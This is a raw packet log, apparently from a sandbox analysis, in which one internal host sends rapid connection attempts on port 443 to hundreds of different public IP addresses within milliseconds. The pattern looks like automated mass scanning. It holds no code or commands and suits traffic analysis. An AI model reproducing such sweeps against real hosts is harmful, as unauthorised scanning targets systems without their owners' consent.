Dec 28, 2024 20:41:50.098371983 CET	28657	443	192.168.2.23	117.117.192.186
Dec 28, 2024 20:41:50.098373890 CET	28657	443	192.168.2.23	5.95.6.158
Dec 28, 2024 20:41:50.098387957 CET	28657	443	192.168.2.23	109.167.187.140
Dec 28, 2024 20:41:50.098396063 CET	28657	443	192.168.2.23	2.221.215.168
Dec 28, 2024 20:41:50.098412991 CET	28657	443	192.168.2.23	178.221.119.26
Dec 28, 2024 20:41:50.098413944 CET	28657	443	192.168.2.23	42.115.154.197
Dec 28, 2024 20:41:50.098422050 CET	28657	443	192.168.2.23	109.6.240.150
Dec 28, 2024 20:41:50.098427057 CET	28657	443	192.168.2.23	79.85.157.70
Dec 28, 2024 20:41:50.098429918 CET	28657	443	192.168.2.23	212.32.60.59
Dec 28, 2024 20:41:50.098431110 CET	28657	443	192.168.2.23	94.117.210.11
Dec 28, 2024 20:41:50.098433971 CET	28657	443	192.168.2.23	2.42.90.247
Dec 28, 2024 20:41:50.098447084 CET	28657	443	192.168.2.23	148.12.12.114
Dec 28, 2024 20:41:50.098455906 CET	28657	443	192.168.2.23	37.142.76.136
Dec 28, 2024 20:41:50.098455906 CET	28657	443	192.168.2.23	212.152.174.241
Dec 28, 2024 20:41:50.098469973 CET	28657	443	192.168.2.23	42.26.234.167
Dec 28, 2024 20:41:50.098473072 CET	28657	443	192.168.2.23	178.178.48.53
Dec 28, 2024 20:41:50.098473072 CET	28657	443	192.168.2.23	42.18.25.239
Dec 28, 2024 20:41:50.098473072 CET	28657	443	192.168.2.23	123.25.136.96
Dec 28, 2024 20:41:50.098478079 CET	28657	443	192.168.2.23	123.104.214.105
Dec 28, 2024 20:41:50.098478079 CET	28657	443	192.168.2.23	2.77.191.248
Dec 28, 2024 20:41:50.098489046 CET	28657	443	192.168.2.23	94.24.26.202
Dec 28, 2024 20:41:50.098489046 CET	28657	443	192.168.2.23	210.171.96.137
Dec 28, 2024 20:41:50.098505974 CET	28657	443	192.168.2.23	2.58.64.139
Dec 28, 2024 20:41:50.098505974 CET	28657	443	192.168.2.23	212.251.98.63
Dec 28, 2024 20:41:50.098514080 CET	28657	443	192.168.2.23	109.56.191.35
Dec 28, 2024 20:41:50.098525047 CET	28657	443	192.168.2.23	123.170.205.14
Dec 28, 2024 20:41:50.098526001 CET	28657	443	192.168.2.23	148.142.112.72
Dec 28, 2024 20:41:50.098534107 CET	28657	443	192.168.2.23	117.155.15.62
Dec 28, 2024 20:41:50.098543882 CET	28657	443	192.168.2.23	123.214.66.158
Dec 28, 2024 20:41:50.098545074 CET	28657	443	192.168.2.23	118.230.49.255
Dec 28, 2024 20:41:50.098545074 CET	28657	443	192.168.2.23	5.218.127.230
Dec 28, 2024 20:41:50.098548889 CET	28657	443	192.168.2.23	109.146.224.5
Dec 28, 2024 20:41:50.098552942 CET	28657	443	192.168.2.23	5.169.225.58
Dec 28, 2024 20:41:50.098571062 CET	28657	443	192.168.2.23	202.170.154.225
Dec 28, 2024 20:41:50.098571062 CET	28657	443	192.168.2.23	109.39.110.88
Dec 28, 2024 20:41:50.098584890 CET	28657	443	192.168.2.23	5.22.164.175
Dec 28, 2024 20:41:50.098592043 CET	28657	443	192.168.2.23	202.162.239.212
Dec 28, 2024 20:41:50.098592997 CET	28657	443	192.168.2.23	118.154.136.57
Dec 28, 2024 20:41:50.098598003 CET	28657	443	192.168.2.23	210.204.155.32
Dec 28, 2024 20:41:50.098601103 CET	28657	443	192.168.2.23	210.63.202.86
Dec 28, 2024 20:41:50.098613024 CET	28657	443	192.168.2.23	123.216.220.101
Dec 28, 2024 20:41:50.098615885 CET	28657	443	192.168.2.23	109.140.79.25
Dec 28, 2024 20:41:50.098615885 CET	28657	443	192.168.2.23	42.213.203.245
Dec 28, 2024 20:41:50.098620892 CET	28657	443	192.168.2.23	37.82.55.238
Dec 28, 2024 20:41:50.098627090 CET	28657	443	192.168.2.23	148.49.21.139
Dec 28, 2024 20:41:50.098628044 CET	28657	443	192.168.2.23	37.216.167.237
Dec 28, 2024 20:41:50.098628044 CET	28657	443	192.168.2.23	118.32.99.22
Dec 28, 2024 20:41:50.098628044 CET	28657	443	192.168.2.23	123.94.255.238
Dec 28, 2024 20:41:50.098628044 CET	28657	443	192.168.2.23	118.171.106.55
Dec 28, 2024 20:41:50.098645926 CET	28657	443	192.168.2.23	210.40.150.8
Dec 28, 2024 20:41:50.098651886 CET	28657	443	192.168.2.23	2.163.225.54
Dec 28, 2024 20:41:50.098654032 CET	28657	443	192.168.2.23	118.107.240.232
Dec 28, 2024 20:41:50.098671913 CET	28657	443	192.168.2.23	148.230.177.160
Dec 28, 2024 20:41:50.098671913 CET	28657	443	192.168.2.23	117.169.64.193
Dec 28, 2024 20:41:50.098673105 CET	28657	443	192.168.2.23	79.33.229.205
Dec 28, 2024 20:41:50.098674059 CET	28657	443	192.168.2.23	79.251.102.82
Dec 28, 2024 20:41:50.098680973 CET	28657	443	192.168.2.23	202.85.163.101
Dec 28, 2024 20:41:50.098687887 CET	28657	443	192.168.2.23	123.162.0.0
Dec 28, 2024 20:41:50.098692894 CET	28657	443	192.168.2.23	109.42.167.36
Dec 28, 2024 20:41:50.098695993 CET	28657	443	192.168.2.23	37.38.67.161
Dec 28, 2024 20:41:50.098709106 CET	28657	443	192.168.2.23	117.144.226.202
Dec 28, 2024 20:41:50.098711014 CET	28657	443	192.168.2.23	148.59.107.104
Dec 28, 2024 20:41:50.098717928 CET	28657	443	192.168.2.23	210.93.217.184
Dec 28, 2024 20:41:50.098731995 CET	28657	443	192.168.2.23	37.69.19.241
Dec 28, 2024 20:41:50.098731995 CET	28657	443	192.168.2.23	2.7.36.211
Dec 28, 2024 20:41:50.098737955 CET	28657	443	192.168.2.23	37.172.23.234
Dec 28, 2024 20:41:50.098752022 CET	28657	443	192.168.2.23	148.5.57.42
Dec 28, 2024 20:41:50.098752975 CET	28657	443	192.168.2.23	79.253.92.180
Dec 28, 2024 20:41:50.098759890 CET	28657	443	192.168.2.23	210.61.236.213
Dec 28, 2024 20:41:50.098774910 CET	28657	443	192.168.2.23	178.56.61.187
Dec 28, 2024 20:41:50.098774910 CET	28657	443	192.168.2.23	37.181.122.211
Dec 28, 2024 20:41:50.098774910 CET	28657	443	192.168.2.23	202.218.8.135
Dec 28, 2024 20:41:50.098783016 CET	28657	443	192.168.2.23	148.187.122.62
Dec 28, 2024 20:41:50.098787069 CET	28657	443	192.168.2.23	109.108.33.184
Dec 28, 2024 20:41:50.098790884 CET	28657	443	192.168.2.23	42.49.96.249
Dec 28, 2024 20:41:50.098797083 CET	28657	443	192.168.2.23	202.125.74.145
Dec 28, 2024 20:41:50.098809958 CET	28657	443	192.168.2.23	5.113.168.207
Dec 28, 2024 20:41:50.098813057 CET	28657	443	192.168.2.23	202.2.219.73
Dec 28, 2024 20:41:50.098814011 CET	28657	443	192.168.2.23	37.166.212.173
Dec 28, 2024 20:41:50.098812103 CET	28657	443	192.168.2.23	148.204.86.255
Dec 28, 2024 20:41:50.098812103 CET	28657	443	192.168.2.23	202.164.63.159
Dec 28, 2024 20:41:50.098819971 CET	28657	443	192.168.2.23	42.183.201.95
Dec 28, 2024 20:41:50.098819971 CET	28657	443	192.168.2.23	42.196.32.26
Dec 28, 2024 20:41:50.098820925 CET	28657	443	192.168.2.23	148.239.254.227
Dec 28, 2024 20:41:50.098820925 CET	28657	443	192.168.2.23	42.109.193.189
Dec 28, 2024 20:41:50.098822117 CET	28657	443	192.168.2.23	178.50.203.24
Dec 28, 2024 20:41:50.098824024 CET	28657	443	192.168.2.23	109.59.105.218
Dec 28, 2024 20:41:50.098834038 CET	28657	443	192.168.2.23	37.226.214.58
Dec 28, 2024 20:41:50.098835945 CET	28657	443	192.168.2.23	212.224.245.17
Dec 28, 2024 20:41:50.098841906 CET	28657	443	192.168.2.23	118.60.47.166
Dec 28, 2024 20:41:50.098850012 CET	28657	443	192.168.2.23	123.253.175.57
Dec 28, 2024 20:41:50.098851919 CET	28657	443	192.168.2.23	109.105.203.69
Dec 28, 2024 20:41:50.098851919 CET	28657	443	192.168.2.23	2.116.86.220
Dec 28, 2024 20:41:50.098865986 CET	28657	443	192.168.2.23	42.135.225.172
Dec 28, 2024 20:41:50.098876953 CET	28657	443	192.168.2.23	109.87.43.37
Dec 28, 2024 20:41:50.098881960 CET	28657	443	192.168.2.23	2.237.28.90
Dec 28, 2024 20:41:50.098881960 CET	28657	443	192.168.2.23	212.125.247.180
Dec 28, 2024 20:41:50.098884106 CET	28657	443	192.168.2.23	79.76.21.195
Dec 28, 2024 20:41:50.098900080 CET	28657	443	192.168.2.23	178.173.235.11
Dec 28, 2024 20:41:50.098900080 CET	28657	443	192.168.2.23	178.69.128.21
Dec 28, 2024 20:41:50.098902941 CET	28657	443	192.168.2.23	37.1.203.179
Dec 28, 2024 20:41:50.098920107 CET	28657	443	192.168.2.23	109.124.83.203
Dec 28, 2024 20:41:50.098921061 CET	28657	443	192.168.2.23	212.79.233.2
Dec 28, 2024 20:41:50.098920107 CET	28657	443	192.168.2.23	5.27.59.7
Dec 28, 2024 20:41:50.098934889 CET	28657	443	192.168.2.23	79.162.73.107
Dec 28, 2024 20:41:50.098939896 CET	28657	443	192.168.2.23	178.138.44.44
Dec 28, 2024 20:41:50.098942041 CET	28657	443	192.168.2.23	109.168.254.118
Dec 28, 2024 20:41:50.098942995 CET	28657	443	192.168.2.23	79.252.57.137
Dec 28, 2024 20:41:50.098951101 CET	28657	443	192.168.2.23	118.163.142.163
Dec 28, 2024 20:41:50.098951101 CET	28657	443	192.168.2.23	178.38.232.102
Dec 28, 2024 20:41:50.098970890 CET	28657	443	192.168.2.23	202.105.122.197
Dec 28, 2024 20:41:50.098970890 CET	28657	443	192.168.2.23	117.237.132.89
Dec 28, 2024 20:41:50.098970890 CET	28657	443	192.168.2.23	94.100.240.175
Dec 28, 2024 20:41:50.098970890 CET	28657	443	192.168.2.23	94.213.24.7
Dec 28, 2024 20:41:50.098977089 CET	28657	443	192.168.2.23	109.105.106.30
Dec 28, 2024 20:41:50.098979950 CET	28657	443	192.168.2.23	212.66.160.212
Dec 28, 2024 20:41:50.098995924 CET	28657	443	192.168.2.23	37.31.68.63
Dec 28, 2024 20:41:50.098995924 CET	28657	443	192.168.2.23	79.78.132.98
Dec 28, 2024 20:41:50.098998070 CET	28657	443	192.168.2.23	42.142.188.183
Dec 28, 2024 20:41:50.099004030 CET	28657	443	192.168.2.23	210.74.212.150
Dec 28, 2024 20:41:50.099006891 CET	28657	443	192.168.2.23	109.54.245.75
Dec 28, 2024 20:41:50.099009991 CET	28657	443	192.168.2.23	148.156.185.176
Dec 28, 2024 20:41:50.099009991 CET	28657	443	192.168.2.23	210.53.89.150
Dec 28, 2024 20:41:50.099011898 CET	28657	443	192.168.2.23	37.186.44.105
Dec 28, 2024 20:41:50.099025965 CET	28657	443	192.168.2.23	118.177.244.37
Dec 28, 2024 20:41:50.099030018 CET	28657	443	192.168.2.23	123.99.167.247
Dec 28, 2024 20:41:50.099031925 CET	28657	443	192.168.2.23	37.48.5.84
Dec 28, 2024 20:41:50.099035025 CET	28657	443	192.168.2.23	210.23.138.225
Dec 28, 2024 20:41:50.099037886 CET	28657	443	192.168.2.23	202.226.202.146
Dec 28, 2024 20:41:50.099042892 CET	28657	443	192.168.2.23	210.83.63.1
Dec 28, 2024 20:41:50.099061966 CET	28657	443	192.168.2.23	5.249.35.82
Dec 28, 2024 20:41:50.099066019 CET	28657	443	192.168.2.23	117.184.99.230
Dec 28, 2024 20:41:50.099067926 CET	28657	443	192.168.2.23	148.199.144.230
Dec 28, 2024 20:41:50.099067926 CET	28657	443	192.168.2.23	117.240.92.249
Dec 28, 2024 20:41:50.099073887 CET	28657	443	192.168.2.23	212.91.59.170
Dec 28, 2024 20:41:50.099075079 CET	28657	443	192.168.2.23	79.134.247.168
Dec 28, 2024 20:41:50.099091053 CET	28657	443	192.168.2.23	148.248.40.91
Dec 28, 2024 20:41:50.099091053 CET	28657	443	192.168.2.23	79.74.229.21
Dec 28, 2024 20:41:50.099092960 CET	28657	443	192.168.2.23	202.113.4.157
Dec 28, 2024 20:41:50.099092960 CET	28657	443	192.168.2.23	178.5.112.200
Dec 28, 2024 20:41:50.099108934 CET	28657	443	192.168.2.23	118.217.216.160
Dec 28, 2024 20:41:50.099108934 CET	28657	443	192.168.2.23	118.237.35.3
Dec 28, 2024 20:41:50.099114895 CET	28657	443	192.168.2.23	109.67.101.186
Dec 28, 2024 20:41:50.099117041 CET	28657	443	192.168.2.23	42.154.156.76
Dec 28, 2024 20:41:50.099119902 CET	28657	443	192.168.2.23	118.44.129.47
Dec 28, 2024 20:41:50.099138021 CET	28657	443	192.168.2.23	210.64.120.215
Dec 28, 2024 20:41:50.099138021 CET	28657	443	192.168.2.23	5.202.73.78
Dec 28, 2024 20:41:50.099140882 CET	28657	443	192.168.2.23	109.24.16.135
Dec 28, 2024 20:41:50.099140882 CET	28657	443	192.168.2.23	2.164.5.243
Dec 28, 2024 20:41:50.099140882 CET	28657	443	192.168.2.23	109.210.62.224
Dec 28, 2024 20:41:50.099143028 CET	28657	443	192.168.2.23	5.186.38.216
Dec 28, 2024 20:41:50.099149942 CET	28657	443	192.168.2.23	117.121.152.74
Dec 28, 2024 20:41:50.099149942 CET	28657	443	192.168.2.23	2.153.201.159
Dec 28, 2024 20:41:50.099149942 CET	28657	443	192.168.2.23	37.8.214.183
Dec 28, 2024 20:41:50.099149942 CET	28657	443	192.168.2.23	117.162.244.203
Dec 28, 2024 20:41:50.099169970 CET	28657	443	192.168.2.23	5.184.255.54
Dec 28, 2024 20:41:50.099172115 CET	28657	443	192.168.2.23	148.115.21.169
Dec 28, 2024 20:41:50.099172115 CET	28657	443	192.168.2.23	118.129.206.179
Dec 28, 2024 20:41:50.099175930 CET	28657	443	192.168.2.23	94.183.41.199
Dec 28, 2024 20:41:50.099179029 CET	28657	443	192.168.2.23	178.5.144.241
Dec 28, 2024 20:41:50.099193096 CET	28657	443	192.168.2.23	37.234.14.165
Dec 28, 2024 20:41:50.099196911 CET	28657	443	192.168.2.23	42.10.60.214
Dec 28, 2024 20:41:50.099200010 CET	28657	443	192.168.2.23	118.45.110.43
Dec 28, 2024 20:41:50.099200010 CET	28657	443	192.168.2.23	2.229.20.41
Dec 28, 2024 20:41:50.099200010 CET	28657	443	192.168.2.23	210.55.161.120
Dec 28, 2024 20:41:50.099205971 CET	28657	443	192.168.2.23	5.200.186.250
Dec 28, 2024 20:41:50.099205971 CET	28657	443	192.168.2.23	37.178.233.225
Dec 28, 2024 20:41:50.099206924 CET	28657	443	192.168.2.23	117.16.49.191
Dec 28, 2024 20:41:50.099216938 CET	28657	443	192.168.2.23	2.221.168.202
Dec 28, 2024 20:41:50.099225998 CET	28657	443	192.168.2.23	212.210.170.68
Dec 28, 2024 20:41:50.099225998 CET	28657	443	192.168.2.23	94.119.145.206
Dec 28, 2024 20:41:50.099232912 CET	28657	443	192.168.2.23	5.58.66.91
Dec 28, 2024 20:41:50.099239111 CET	28657	443	192.168.2.23	79.188.102.170
Dec 28, 2024 20:41:50.099241972 CET	28657	443	192.168.2.23	5.239.64.159
Dec 28, 2024 20:41:50.099258900 CET	28657	443	192.168.2.23	118.73.16.241
Dec 28, 2024 20:41:50.099266052 CET	28657	443	192.168.2.23	94.250.166.106
Dec 28, 2024 20:41:50.099267006 CET	28657	443	192.168.2.23	118.156.78.235
Dec 28, 2024 20:41:50.099282026 CET	28657	443	192.168.2.23	117.212.179.159
Dec 28, 2024 20:41:50.099287033 CET	28657	443	192.168.2.23	123.193.33.164
Dec 28, 2024 20:41:50.099287033 CET	28657	443	192.168.2.23	94.16.71.177
Dec 28, 2024 20:41:50.099291086 CET	28657	443	192.168.2.23	118.201.180.139
Dec 28, 2024 20:41:50.099292994 CET	28657	443	192.168.2.23	117.1.159.12
Dec 28, 2024 20:41:50.099308968 CET	28657	443	192.168.2.23	94.94.46.163
Dec 28, 2024 20:41:50.099309921 CET	28657	443	192.168.2.23	178.128.162.103
Dec 28, 2024 20:41:50.099315882 CET	28657	443	192.168.2.23	94.231.119.207
Dec 28, 2024 20:41:50.099329948 CET	28657	443	192.168.2.23	109.164.34.114
Dec 28, 2024 20:41:50.099329948 CET	28657	443	192.168.2.23	212.20.118.192
Dec 28, 2024 20:41:50.099333048 CET	28657	443	192.168.2.23	210.224.161.145
Dec 28, 2024 20:41:50.099339962 CET	28657	443	192.168.2.23	148.208.31.15
Dec 28, 2024 20:41:50.099344969 CET	28657	443	192.168.2.23	109.60.38.115
Dec 28, 2024 20:41:50.099344969 CET	28657	443	192.168.2.23	202.220.98.82
Dec 28, 2024 20:41:50.099349976 CET	28657	443	192.168.2.23	42.90.108.31
Dec 28, 2024 20:41:50.099353075 CET	28657	443	192.168.2.23	118.21.29.120
Dec 28, 2024 20:41:50.099353075 CET	443	28657	109.164.34.114	192.168.2.23
Dec 28, 2024 20:41:50.099356890 CET	28657	443	192.168.2.23	109.165.61.20
Dec 28, 2024 20:41:50.099356890 CET	28657	443	192.168.2.23	202.99.117.52
Dec 28, 2024 20:41:50.099359989 CET	28657	443	192.168.2.23	94.21.207.69
Dec 28, 2024 20:41:50.099363089 CET	28657	443	192.168.2.23	212.151.183.230
Dec 28, 2024 20:41:50.099380970 CET	28657	443	192.168.2.23	212.8.205.122
Dec 28, 2024 20:41:50.099383116 CET	28657	443	192.168.2.23	178.130.250.84
Dec 28, 2024 20:41:50.099387884 CET	28657	443	192.168.2.23	109.164.34.114
Dec 28, 2024 20:41:50.099395990 CET	28657	443	192.168.2.23	109.252.192.185
Dec 28, 2024 20:41:50.099400997 CET	28657	443	192.168.2.23	210.243.199.81
Dec 28, 2024 20:41:50.099409103 CET	28657	443	192.168.2.23	37.59.3.135
Dec 28, 2024 20:41:50.099425077 CET	28657	443	192.168.2.23	2.171.145.57
Dec 28, 2024 20:41:50.099426985 CET	28657	443	192.168.2.23	210.118.89.85
Dec 28, 2024 20:41:50.099426985 CET	28657	443	192.168.2.23	212.155.101.90
Dec 28, 2024 20:41:50.099431992 CET	28657	443	192.168.2.23	212.186.141.92
Dec 28, 2024 20:41:50.099432945 CET	28657	443	192.168.2.23	212.217.58.29
Dec 28, 2024 20:41:50.099431038 CET	28657	443	192.168.2.23	210.144.159.216
Dec 28, 2024 20:41:50.099431038 CET	28657	443	192.168.2.23	94.141.123.193
Dec 28, 2024 20:41:50.099442005 CET	28657	443	192.168.2.23	178.167.16.177
Dec 28, 2024 20:41:50.099447012 CET	28657	443	192.168.2.23	37.157.183.178
Dec 28, 2024 20:41:50.099452972 CET	28657	443	192.168.2.23	202.123.40.137
Dec 28, 2024 20:41:50.099462032 CET	28657	443	192.168.2.23	118.117.148.236
Dec 28, 2024 20:41:50.099471092 CET	28657	443	192.168.2.23	79.113.63.191
Dec 28, 2024 20:41:50.099473000 CET	28657	443	192.168.2.23	2.61.88.59
Dec 28, 2024 20:41:50.099482059 CET	28657	443	192.168.2.23	5.234.177.155
Dec 28, 2024 20:41:50.099482059 CET	28657	443	192.168.2.23	178.162.108.107
Dec 28, 2024 20:41:50.099484921 CET	28657	443	192.168.2.23	42.65.64.226
Dec 28, 2024 20:41:50.099503040 CET	28657	443	192.168.2.23	94.198.213.135
Dec 28, 2024 20:41:50.099505901 CET	28657	443	192.168.2.23	37.84.57.48
Dec 28, 2024 20:41:50.099505901 CET	28657	443	192.168.2.23	148.98.181.61
Dec 28, 2024 20:41:50.099518061 CET	28657	443	192.168.2.23	148.184.28.157
Dec 28, 2024 20:41:50.099518061 CET	28657	443	192.168.2.23	79.205.58.155
Dec 28, 2024 20:41:50.099524021 CET	28657	443	192.168.2.23	202.64.20.235
Dec 28, 2024 20:41:50.099539042 CET	28657	443	192.168.2.23	37.38.88.45
Dec 28, 2024 20:41:50.099539995 CET	28657	443	192.168.2.23	178.38.17.96
Dec 28, 2024 20:41:50.099539995 CET	28657	443	192.168.2.23	5.35.225.229
Dec 28, 2024 20:41:50.099541903 CET	28657	443	192.168.2.23	109.206.148.109
Dec 28, 2024 20:41:50.099544048 CET	28657	443	192.168.2.23	118.12.102.134
Dec 28, 2024 20:41:50.099550962 CET	28657	443	192.168.2.23	148.27.122.62
Dec 28, 2024 20:41:50.099559069 CET	28657	443	192.168.2.23	37.164.40.237
Dec 28, 2024 20:41:50.099559069 CET	28657	443	192.168.2.23	178.97.146.222
Dec 28, 2024 20:41:50.099560976 CET	28657	443	192.168.2.23	118.50.22.90
Dec 28, 2024 20:41:50.099581957 CET	28657	443	192.168.2.23	79.200.33.194
Dec 28, 2024 20:41:50.099587917 CET	28657	443	192.168.2.23	202.177.51.67
Dec 28, 2024 20:41:50.099596977 CET	28657	443	192.168.2.23	79.23.2.129
Dec 28, 2024 20:41:50.099597931 CET	28657	443	192.168.2.23	109.228.94.82
Dec 28, 2024 20:41:50.099601030 CET	28657	443	192.168.2.23	5.160.209.255
Dec 28, 2024 20:41:50.099615097 CET	28657	443	192.168.2.23	5.92.185.131
Dec 28, 2024 20:41:50.099617004 CET	28657	443	192.168.2.23	210.89.158.71
Dec 28, 2024 20:41:50.099622965 CET	28657	443	192.168.2.23	37.127.96.73
Dec 28, 2024 20:41:50.099636078 CET	28657	443	192.168.2.23	178.247.222.136
Dec 28, 2024 20:41:50.099662066 CET	28657	443	192.168.2.23	42.203.89.17
Dec 28, 2024 20:41:50.099668026 CET	28657	443	192.168.2.23	123.224.86.19
Dec 28, 2024 20:41:50.099668026 CET	28657	443	192.168.2.23	37.219.61.43
Dec 28, 2024 20:41:50.099669933 CET	28657	443	192.168.2.23	212.253.107.188
Dec 28, 2024 20:41:50.099668026 CET	28657	443	192.168.2.23	210.15.55.122
Dec 28, 2024 20:41:50.099669933 CET	28657	443	192.168.2.23	123.48.65.168
Dec 28, 2024 20:41:50.099668026 CET	28657	443	192.168.2.23	42.130.28.153
Dec 28, 2024 20:41:50.099672079 CET	28657	443	192.168.2.23	118.222.32.199
Dec 28, 2024 20:41:50.099669933 CET	28657	443	192.168.2.23	210.214.2.137
Dec 28, 2024 20:41:50.099672079 CET	28657	443	192.168.2.23	5.120.146.51
Dec 28, 2024 20:41:50.099669933 CET	28657	443	192.168.2.23	117.248.53.197
Dec 28, 2024 20:41:50.099673986 CET	28657	443	192.168.2.23	2.104.64.210
Dec 28, 2024 20:41:50.099669933 CET	28657	443	192.168.2.23	109.123.239.21
Dec 28, 2024 20:41:50.099673986 CET	28657	443	192.168.2.23	94.213.6.30
Dec 28, 2024 20:41:50.099673986 CET	28657	443	192.168.2.23	94.216.232.94
Dec 28, 2024 20:41:50.099684000 CET	28657	443	192.168.2.23	109.172.52.174
Dec 28, 2024 20:41:50.099689960 CET	28657	443	192.168.2.23	210.51.1.177
Dec 28, 2024 20:41:50.099694014 CET	28657	443	192.168.2.23	5.33.31.12
Dec 28, 2024 20:41:50.099697113 CET	28657	443	192.168.2.23	123.47.159.147
Dec 28, 2024 20:41:50.099709034 CET	28657	443	192.168.2.23	212.99.54.110
Dec 28, 2024 20:41:50.099720001 CET	28657	443	192.168.2.23	117.146.88.229
Dec 28, 2024 20:41:50.099725962 CET	28657	443	192.168.2.23	178.139.244.42
Dec 28, 2024 20:41:50.099725962 CET	28657	443	192.168.2.23	2.146.91.123
Dec 28, 2024 20:41:50.099734068 CET	28657	443	192.168.2.23	5.145.243.2
Dec 28, 2024 20:41:50.099741936 CET	28657	443	192.168.2.23	37.108.46.56
Dec 28, 2024 20:41:50.099745035 CET	28657	443	192.168.2.23	123.156.218.162
Dec 28, 2024 20:41:50.099750996 CET	28657	443	192.168.2.23	5.22.188.47
Dec 28, 2024 20:41:50.099752903 CET	28657	443	192.168.2.23	123.197.28.243
Dec 28, 2024 20:41:50.099759102 CET	28657	443	192.168.2.23	109.65.204.132
Dec 28, 2024 20:41:50.099759102 CET	28657	443	192.168.2.23	148.133.226.168
Dec 28, 2024 20:41:50.099759102 CET	28657	443	192.168.2.23	2.95.101.66
Dec 28, 2024 20:41:50.099761009 CET	28657	443	192.168.2.23	210.106.45.101
Dec 28, 2024 20:41:50.099771976 CET	28657	443	192.168.2.23	210.250.166.138
Dec 28, 2024 20:41:50.099776030 CET	28657	443	192.168.2.23	37.107.220.133
Dec 28, 2024 20:41:50.099781036 CET	28657	443	192.168.2.23	37.38.48.217
Dec 28, 2024 20:41:50.099781036 CET	28657	443	192.168.2.23	109.104.51.45
Dec 28, 2024 20:41:50.099788904 CET	28657	443	192.168.2.23	109.185.19.147
Dec 28, 2024 20:41:50.099792004 CET	28657	443	192.168.2.23	202.239.186.83
Dec 28, 2024 20:41:50.099802017 CET	28657	443	192.168.2.23	210.113.159.245
Dec 28, 2024 20:41:50.099802971 CET	28657	443	192.168.2.23	94.220.36.87
Dec 28, 2024 20:41:50.099802971 CET	28657	443	192.168.2.23	178.10.122.247
Dec 28, 2024 20:41:50.099814892 CET	28657	443	192.168.2.23	117.250.181.127
Dec 28, 2024 20:41:50.099822044 CET	28657	443	192.168.2.23	2.148.163.138
Dec 28, 2024 20:41:50.099829912 CET	28657	443	192.168.2.23	117.13.7.79
Dec 28, 2024 20:41:50.099836111 CET	28657	443	192.168.2.23	2.69.105.63
Dec 28, 2024 20:41:50.099838972 CET	28657	443	192.168.2.23	42.83.192.109
Dec 28, 2024 20:41:50.099850893 CET	28657	443	192.168.2.23	212.60.58.107
Dec 28, 2024 20:41:50.099858046 CET	28657	443	192.168.2.23	210.245.220.206
Dec 28, 2024 20:41:50.099858046 CET	28657	443	192.168.2.23	5.198.65.10
Dec 28, 2024 20:41:50.099873066 CET	28657	443	192.168.2.23	94.97.218.198
Dec 28, 2024 20:41:50.099873066 CET	28657	443	192.168.2.23	178.177.134.109
Dec 28, 2024 20:41:50.099889994 CET	28657	443	192.168.2.23	2.136.126.130
Dec 28, 2024 20:41:50.099895954 CET	28657	443	192.168.2.23	79.150.150.10
Dec 28, 2024 20:41:50.099900007 CET	28657	443	192.168.2.23	210.112.53.21
Dec 28, 2024 20:41:50.099914074 CET	28657	443	192.168.2.23	42.182.110.246
Dec 28, 2024 20:41:50.099915028 CET	28657	443	192.168.2.23	37.171.221.27
Dec 28, 2024 20:41:50.099915981 CET	28657	443	192.168.2.23	2.14.29.205
Dec 28, 2024 20:41:50.099915981 CET	28657	443	192.168.2.23	202.38.178.95
Dec 28, 2024 20:41:50.099940062 CET	28657	443	192.168.2.23	178.226.250.5
Dec 28, 2024 20:41:50.099940062 CET	28657	443	192.168.2.23	42.43.12.50
Dec 28, 2024 20:41:50.099940062 CET	28657	443	192.168.2.23	5.201.133.179
Dec 28, 2024 20:41:50.099946022 CET	28657	443	192.168.2.23	118.114.200.185
Dec 28, 2024 20:41:50.099946976 CET	28657	443	192.168.2.23	5.56.86.76
Dec 28, 2024 20:41:50.099950075 CET	28657	443	192.168.2.23	37.85.187.28
Dec 28, 2024 20:41:50.099953890 CET	28657	443	192.168.2.23	212.227.205.121
Dec 28, 2024 20:41:50.099956989 CET	28657	443	192.168.2.23	210.76.177.145
Dec 28, 2024 20:41:50.099968910 CET	28657	443	192.168.2.23	79.4.254.159
Dec 28, 2024 20:41:50.099968910 CET	28657	443	192.168.2.23	2.204.144.248
Dec 28, 2024 20:41:50.099972963 CET	28657	443	192.168.2.23	5.26.34.215
Dec 28, 2024 20:41:50.099988937 CET	28657	443	192.168.2.23	202.13.164.75
Dec 28, 2024 20:41:50.099992037 CET	28657	443	192.168.2.23	42.121.224.5
Dec 28, 2024 20:41:50.099994898 CET	28657	443	192.168.2.23	42.20.115.158
Dec 28, 2024 20:41:50.099994898 CET	28657	443	192.168.2.23	123.127.50.47
Dec 28, 2024 20:41:50.099999905 CET	28657	443	192.168.2.23	118.253.52.169
Dec 28, 2024 20:41:50.100006104 CET	28657	443	192.168.2.23	210.39.74.225
Dec 28, 2024 20:41:50.100018024 CET	28657	443	192.168.2.23	94.168.52.139
Dec 28, 2024 20:41:50.100020885 CET	28657	443	192.168.2.23	117.51.122.24
Dec 28, 2024 20:41:50.100020885 CET	28657	443	192.168.2.23	202.122.125.185
Dec 28, 2024 20:41:50.100033998 CET	28657	443	192.168.2.23	178.105.61.241
Dec 28, 2024 20:41:50.100037098 CET	28657	443	192.168.2.23	148.173.186.140
Dec 28, 2024 20:41:50.100039005 CET	28657	443	192.168.2.23	178.166.203.74
Dec 28, 2024 20:41:50.100043058 CET	28657	443	192.168.2.23	79.235.139.108
Dec 28, 2024 20:41:50.100048065 CET	28657	443	192.168.2.23	42.137.23.99
Dec 28, 2024 20:41:50.100056887 CET	28657	443	192.168.2.23	210.9.143.69
Dec 28, 2024 20:41:50.100058079 CET	28657	443	192.168.2.23	202.244.216.27
Dec 28, 2024 20:41:50.100074053 CET	28657	443	192.168.2.23	5.107.5.180
Dec 28, 2024 20:41:50.100079060 CET	28657	443	192.168.2.23	42.79.114.126
Dec 28, 2024 20:41:50.100079060 CET	28657	443	192.168.2.23	178.203.92.103
Dec 28, 2024 20:41:50.100083113 CET	28657	443	192.168.2.23	148.190.180.155
Dec 28, 2024 20:41:50.100102901 CET	28657	443	192.168.2.23	118.59.176.122
Dec 28, 2024 20:41:50.100105047 CET	28657	443	192.168.2.23	212.63.86.239
Dec 28, 2024 20:41:50.100105047 CET	28657	443	192.168.2.23	178.113.231.137
Dec 28, 2024 20:41:50.100112915 CET	28657	443	192.168.2.23	210.11.228.9
Dec 28, 2024 20:41:50.100125074 CET	28657	443	192.168.2.23	109.80.45.115
Dec 28, 2024 20:41:50.100126028 CET	28657	443	192.168.2.23	123.253.208.229
Dec 28, 2024 20:41:50.100126982 CET	28657	443	192.168.2.23	94.235.201.134
